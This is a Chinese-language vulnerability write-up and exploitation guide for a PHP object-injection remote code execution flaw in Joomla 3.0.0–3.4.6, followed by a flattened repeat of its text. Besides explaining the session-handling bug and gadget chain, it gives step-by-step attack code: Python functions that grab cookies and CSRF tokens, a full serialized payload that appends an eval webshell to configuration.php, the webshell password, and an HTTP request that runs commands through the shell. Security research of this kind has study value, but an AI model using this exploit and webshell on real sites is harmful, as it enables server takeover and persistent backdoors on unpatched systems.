Joomla-3.4.6远程代码执行漏洞原理分析和Poc构造
字数 1572 2025-08-18 11:39:04

Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用指南

漏洞概述

Joomla 3.0.0 至 3.4.6 版本存在一个严重的 PHP 对象注入漏洞,可导致远程代码执行(RCE)。该漏洞类似于 CVE-2015-8562,但尚未分配 CVE 编号。漏洞利用 Joomla 会话处理机制中的缺陷,通过精心构造的序列化对象实现代码执行。

影响范围

  • Joomla 3.0.0 至 3.4.6 版本
  • 发布时间:2012年9月末至2015年12月中旬

漏洞原理

会话处理机制缺陷

Joomla 会话以 PHP Objects 的形式存储在数据库中,由 PHP 会话函数处理。关键问题在于:

  1. 空字节处理问题

    • libraries/joomla/session/storage/database.php 中的 write() 函数在存储数据前会用空字符串('')替换空字节(\0\0\0)
    • 读取时 read() 函数会尝试用 \0\0\0 替换回空字符串
    • 这种替换导致3字节替换6字节,造成大小不一致
  2. 序列化对象溢出

    • 当包含空字节的字符串被处理后,会导致序列化对象的大小声明与实际内容不匹配
    • 例如:s:16:"my\0\0\0username" 处理后变为 s:16:"myusername"(实际长度不匹配)

对象注入与反序列化

通过控制 usernamepassword 字段:

  1. username 字段用于触发溢出
  2. password 字段注入恶意序列化对象

利用链涉及以下类:

  • JDatabaseDriverMysqli:析构函数调用 disconnect() 方法
  • JSimplepieFactory:自动加载 SimplePie
  • SimplePie:包含可被利用的回调函数

漏洞复现

环境搭建

  1. 下载 Joomla 3.4.6:

    https://downloads.joomla.org/it/cms/joomla3/3-4-6
    
  2. 安装注意事项:

    • 访问 http://127.0.0.1/Joomla/3.4.6/installation/index.php
    • 在安装步骤中选择"不安装示范数据"

利用工具

POC 脚本地址:

https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE/Joomla-3.4.6-RCE.py

利用步骤

  1. 获取会话Cookie

    def get_cook(url):
        resp = requests.get(url)
        return resp.cookies
    
  2. 获取CSRF Token

    def get_token(url, cook):
        resp = requests.get(url, cookies=cook)
        html = BeautifulSoup(resp.text, 'html.parser')
        csrf = html.find_all('input')[-1].get('name')
        return csrf
    
  3. 构造Payload

    • WebShell Payload:
      if(isset($_POST['scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay'])) 
          eval($_POST['scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay']);
      
    • 序列化对象:
      O:21:"JDatabaseDriverMysqli":3:{
          s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}
          s:21:"\0\0\0disconnectHandlers";a:1:{
              i:0;a:2:{
                  i:0;O:9:"SimplePie":5:{
                      s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
                      s:5:"cache";b:1;
                      s:19:"cache_name_function";s:6:"assert";
                      s:10:"javascript";i:9999;
                      s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']))eval($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']);', FILE_APPEND) || $a='http://wtf';";
                  }
                  i:1;s:4:"init";
              }
          }
          s:13:"\0\0\0connection";i:1;
      }
      
  4. 发送恶意请求

    def make_req(url, object_payload):
        cook = get_cook(url)
        csrf = get_token(url, cook)
    
        user_payload = '\\0\\0\\0' * 9
        password_payload = 'AAA"' + object_payload + 's:6:"return";s:102:'
    
        params = {
            'username': user_payload,
            'password': password_payload,
            'option': 'com_users',
            'task': 'user.login',
            csrf: '1'
        }
    
        requests.post(url, cookies=cook, data=params)
    
  5. 连接WebShell

    • 使用中国菜刀连接,密码为:scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay
    • 或直接POST请求:
      POST /configuration.php HTTP/1.1
      Host: target.com
      Content-Type: application/x-www-form-urlencoded
      
      scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay=echo 'PWNED';
      

技术细节分析

关键类分析

  1. JDatabaseDriverMysqli

    • 析构函数调用 disconnect()
    • disconnect() 中使用 call_user_func_array 调用处理程序
  2. SimplePie

    • init() 方法中包含两个 call_user_func 调用
    • 通过控制 cache_name_functionfeed_url 实现代码执行

利用链执行流程

  1. 反序列化触发 JDatabaseDriverMysqli 析构
  2. 析构调用 disconnect() 方法
  3. disconnect() 调用 SimplePieinit 方法
  4. init 方法中的 call_user_func 执行恶意代码

修复建议

  1. 升级到最新版本 Joomla:
    https://downloads.joomla.org
    
  2. 3.4.7 及以后版本修复方式:
    • 会话数据改为 base64 编码存储
    • 避免了空字节处理问题

参考资源

  1. 漏洞分析原文:
    https://cxsecurity.com/issue/WLB-2019100045
    
  2. PHITHON 的 Joomla 反序列化分析:
    https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
    
  3. 代码及工具下载:
    https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE
    

免责声明:本文所述漏洞利用方法仅用于安全研究学习,请遵守《网络安全法》等相关法律法规。

Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用指南 漏洞概述 Joomla 3.0.0 至 3.4.6 版本存在一个严重的 PHP 对象注入漏洞,可导致远程代码执行(RCE)。该漏洞类似于 CVE-2015-8562,但尚未分配 CVE 编号。漏洞利用 Joomla 会话处理机制中的缺陷,通过精心构造的序列化对象实现代码执行。 影响范围 Joomla 3.0.0 至 3.4.6 版本 发布时间:2012年9月末至2015年12月中旬 漏洞原理 会话处理机制缺陷 Joomla 会话以 PHP Objects 的形式存储在数据库中,由 PHP 会话函数处理。关键问题在于: 空字节处理问题 : libraries/joomla/session/storage/database.php 中的 write() 函数在存储数据前会用空字符串( '' )替换空字节( \0\0\0 ) 读取时 read() 函数会尝试用 \0\0\0 替换回空字符串 这种替换导致3字节替换6字节,造成大小不一致 序列化对象溢出 : 当包含空字节的字符串被处理后,会导致序列化对象的大小声明与实际内容不匹配 例如: s:16:"my\0\0\0username" 处理后变为 s:16:"myusername" (实际长度不匹配) 对象注入与反序列化 通过控制 username 和 password 字段: username 字段用于触发溢出 password 字段注入恶意序列化对象 利用链涉及以下类: JDatabaseDriverMysqli :析构函数调用 disconnect() 方法 JSimplepieFactory :自动加载 SimplePie 类 SimplePie :包含可被利用的回调函数 漏洞复现 环境搭建 下载 Joomla 3.4.6: 安装注意事项: 访问 http://127.0.0.1/Joomla/3.4.6/installation/index.php 在安装步骤中选择"不安装示范数据" 利用工具 POC 脚本地址: 利用步骤 获取会话Cookie : 获取CSRF Token : 构造Payload : WebShell Payload: 序列化对象: 发送恶意请求 : 连接WebShell : 使用中国菜刀连接,密码为: scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay 或直接POST请求: 技术细节分析 关键类分析 JDatabaseDriverMysqli : 析构函数调用 disconnect() disconnect() 中使用 call_user_func_array 调用处理程序 SimplePie : init() 方法中包含两个 call_user_func 调用 通过控制 cache_name_function 和 feed_url 实现代码执行 利用链执行流程 反序列化触发 JDatabaseDriverMysqli 析构 析构调用 disconnect() 方法 disconnect() 调用 SimplePie 的 init 方法 init 方法中的 call_user_func 执行恶意代码 修复建议 升级到最新版本 Joomla: 3.4.7 及以后版本修复方式: 会话数据改为 base64 编码存储 避免了空字节处理问题 参考资源 漏洞分析原文: PHITHON 的 Joomla 反序列化分析: 代码及工具下载: 免责声明 :本文所述漏洞利用方法仅用于安全研究学习,请遵守《网络安全法》等相关法律法规。